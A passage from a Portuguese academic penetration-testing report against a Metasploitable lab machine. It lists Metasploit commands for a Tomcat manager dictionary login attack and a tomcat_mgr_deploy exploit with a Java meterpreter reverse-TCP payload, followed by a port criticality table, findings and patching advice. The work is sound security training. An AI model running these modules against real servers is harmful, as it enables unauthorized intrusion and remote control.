encontra em redes internas e não sendo exposta à redes externas. Neste cenário não foi possível realizar uma exploração. Durante as pesquisas, não foi possível obter informações referentes a uma possível invasão, porem conseguimos obter algumas informações sobre o serviço rodando na porta 8009, conforme ilustrado abaixo: - search apache jserv Figura 67 - Exploit Encontrado Porta 8009 Fonte: Autor Na sequência utilizamos os comandos a seguir: 51 - use 0 - set rhosts 192.168.0.183 - run Figura 68 - Resultado Exploit Apache Jserv Fonte: Autor 52 4.22 Porta 8180 A porta 8180 refere-se ao serviço Apache Tomcat. Este serviço é um servidor web Java. Está porta foi previamente identificada pelo nmap, conforme figura abaixo: Figura 69 - Informações Porta 8180 Fonte: Autor Para a invasão ao servidor é preciso obter o login e senha. Para coleta destas informações, foi executado um módulo de ataque por palavras de dicionário. O ataque identifica combinações que poderá ser utilizado no servidor. - search tomcat - use auxiliary/scanner/http/tomcat_mgr_login - show options - set RHOSTS 192.168.10.132 - set LPORT 8180 - show options Figura 70 - Opções Tomcat_mgr_login Fonte: Autor 53 - run Figura 71 - Login Obtido Fonte: Autor O ataque obteve o login e senha aceito como destacado no código, possibilitando a invasão na máquina do alvo. Para a invasão, é necessário a utilização de outro módulo com um payload feito em java. Utilizamos a seguinte série de comando: - search tom cat - use exploit/multi/http/tomcat_mgr_deploy - show options - set payload java/meterpreter/reverse_tcp - set HttpPassword tomcat - set HttpUsername tomcat - set RHOSTS 192.168.10.132 - set RPORT 8180 - set LPORT 443 - show options Figura 72 - Configurações Tomcat_Mgr_deploy Fonte: Autor 54 - run Figura 73 - Resultado Exploit mgr_deploy Fonte: Autor Nesta etapa, foi feito o reconhecimento do ambiente invadido. também foi realizado teste de download e upload de arquivos na máquina, sendo possível fazer download de alguns itens restritos e não podendo fazer upload. A imagem abaixo ilustra um breve reconhecimento da máquina alvo. Figura 74 - Reconhecimento Invasão @Tomcat Fonte: Autor 55 5. Tabela de Criticidade Neste tópico iremos classificar o nível de criticidade de cada uma das portas invadidas, de acordo com uma matriz de vulnerabilidade. Será considerado mais crítico, as portas onde foi possível uma invasão através do usuário “root”. A seguir, a matriz baseia-se no livro Segurança da informação, página 212. (Tenório & Araújo, 2019) Figura 75 - Matriz Criticidade Impacto Legenda N ív e l d e p ri v il é g io Alto Médio Baixo Fonte: Autor Figura 76 - Tabela Criticidade das Portas Porta Serviço Criticidade 21 ftp 22 ssh 23 telnet 25 smtp 53 domain 80 http 111 rpcbind 139 netbios-ssn 445 netbios-ssn 512 exec 513 login 514 shell 1099 Java-rmi 1524 bindshell 2049 nfs 2121 ftp 3306 mysql 5432 postgresql 5900 vnc 6000 X11 6667 irc 8009 Ajp13 8180 HTTP Fonte: Autor 56 6. Resultados Encontrados Durante a invasão às portas da metasploitable, percebemos inúmeras vulnerabilidades que foram possíveis de serem exploradas. A exemplo das portas 512, 513 e 514, elas permitem uma conexão direta ao sistema através do netkit-rsh, além disso também fornece autoridade máxima dentro do sistema através do usuário “root”. Outras portas permitiram acesso ao banco de dados com permissões de adição e exclusão das informações,conforme a porta 3306 e desta maneira comprometeu o sistema de forma crítica, à medida que a exclusão de banco de dados pode causar um mal funcionamento de arquivos e programas. Por tanto, com estas e as demais vulnerabilidades encontradas e descritas na tabela de criticidade, é fato que um Cracker (usuário mal intencionado), tem a possibilidade de invadir o sistema e danifica-lo da forma que quiser, desde a quebra de senhas até a exclusão de diretórios cruciais para o funcionamento da máquina. Por fim, a recomendação é de que atualize todo o sistema, incluindo softwares mais antigos. Faça uma varredura em todo o sistema até encontrar arquivos ou softwares maliciosos a fim de mitiga-los. Executar varreduras e testes periodicamente. Desta forma haverá maior segurança no sistema, garantindo toda a proteção necessária. 57 7. Referências Bibliográficas (s.d.). Acesso em Maio de 2022, disponível em github.com: https://github.com/distcc (s.d.). Acesso em Maio de 2022, disponível em myexploit.wordpress.com: https://myexploit.wordpress.com/control-smb-445-137-139/ (s.d.). Acesso em Maio de 2022, disponível em github.com: https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit (s.d.). Acesso em Maio de 2022, disponível em offensive-security.com: https://www.offensive- security.com/metasploit-unleashed/vnc-authentication/ (Maio de 2019). Acesso em Maio de 2022, disponível em medium.com: https://medium.com/hacker-toolbelt/metasploitable-2-viii-port-1524-1d53378c3949 (Fevereiro de 2022). Acesso em Maio de 2022, disponível em resources.infosecinstitute.com: https://resources.infosecinstitute.com/topic/exploiting-nfs-share/ Chandel, R. (Setembro de 2017). Acesso em Maio de 2022, disponível em hackingarticles.in: https://www.hackingarticles.in/penetration-testing-on-mysql-port-3306/ Chandel, R. (Agosto de 2020). Acesso em Maio de 2022, disponível em hackingarticles.in: https://www.hackingarticles.in/penetration-testing-on-postgresql-5432/ computersecuritystudent.com. (s.d.). Acesso em Maio de 2022, disponível em https://www.computersecuritystudent.com/SECURITY_TOOLS/METASPLOITABLE/EX PLOIT/lesson5/ Ecteruel, E. (2022). Kali Linux – Comandos essenciais. Não Publicado. Flora, J. C. (2010). Desenvolvimento e Aplicação de Exploits Utilizando o Metasploit Framework. Terra e Cultura , 113 -122. HackingTutorials. (2016). Acesso em Maio de 2022, disponível em www.hackingtutorials.org: https://www.hackingtutorials.org/metasploit-tutorials/metasploitable-2-enumeration/ kanishka10 (Ed.). (Março de 2020). Acesso em Maio de 2022, disponível em hackercoolmagazine.com: https://www.hackercoolmagazine.com/hacking-rexec-and- rlogin-services-on-ports-512-513-and-514/ Matheus, Y. (Julho de 2017). www.alura.com.br. Acesso em Maio de 2022, disponível em https://www.alura.com.br/artigos/como-acessar-servidores-remotamente-com-ssh Mosqueira, M., Cordeiro, S., & Pinheiro, W. (2016). A Guerra Cibernética: exploração, ataque e proteção cibernética. REVISTA MILITAR DE CIÊNCIA E TECNOLOGIA, 11-17. Nick. (Janeiro de 2021). Acesso em Maio de 2022, disponível em pentesthacker.wordpress.com: https://pentesthacker.wordpress.com/2021/01/10/hack- metasploitable-with-unrealirc-backdoor/ nvd.nist.gov. (s.d.). Acesso em Maio de 2022, disponível em https://nvd.nist.gov/vuln/detail/CVE-2004-2687 Tenório, P. N., & Araújo, W. J. (2019). Segurança da Informação - Uma Visão Sistêmica. João Pessoa: UFPB. 58 www.ibm.com. (Março de 2021). Acesso em Maio de 2022, disponível em https://www.ibm.com/docs/pt-br/developer-for-zos/9.1.1?topic=subprojects-rexec-ssh- setup
Compartilhar